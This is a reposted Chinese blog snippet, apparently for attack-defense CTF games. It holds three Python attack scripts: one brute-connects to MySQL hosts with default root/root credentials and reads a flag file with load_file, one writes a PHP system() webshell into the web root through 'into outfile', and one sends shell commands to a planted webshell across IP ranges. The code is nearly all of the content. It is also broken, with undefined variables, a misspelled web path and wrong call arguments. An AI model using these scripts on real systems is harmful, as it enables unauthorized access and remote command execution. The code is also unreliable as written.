标签：cur 口令 sys 利用 host tag MySQL print conn

MySQL读文件

#coding=utf-8
import MySQLdb
host = '172.16.1.'
for i in range(129,131):
    tag = host+str(i)
    print tag+"3306"
    try:
        MySQLdb.connect(tag,3306,'root','root','mysql',timeout=1)
        cur = conn.cursor()
        cur.execute("select load_file('/root/flag.txt')")
        print cur.fetchone()
        cur.close()
    except:
        print 'MYSQL connect out'
conn.commit()
conn.close()

MySQL写入一句话木马

#coding=utf-8
import MySQLdb
host = '172.16.1.'
try:
    conn = MySQLdb.connect(host=host,port=3306,user='root',passwd='root',db='mysql',connect_timeout=1)
    cur = conn.cursor()
    cur.execute("""create table sys(cmd text NOT NULL);""")
    cur.execute("""insert into sys(cmd)values("<?php system('cat /root/flaginfo*');?>");""")
    cur.execute("""select * from sys into outfile "/val/www/html/sys.php";""")
    os.system("curl "+tag+"/sys.php")
except:
    print 'Mysql time out'

webshell利用

#!usr/bin/python
import urllib,urllib2
for i in range(1,10):
    tag = 'http://172.16.'+str(i)+'.113/add_book.php'
    data = {"password":"system('cat /flag');"}
    print tag
    try:
        f = urllib2.urlopen(url=tag,data=urllib.urlencode(data),timeout=1)
        flag = f.read()
        print flag[0:40]
    except:
        print 'time out'

标签：cur,口令,sys,利用,host,tag,MySQL,print,conn
来源： https://www.cnblogs.com/nul1/p/10991078.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。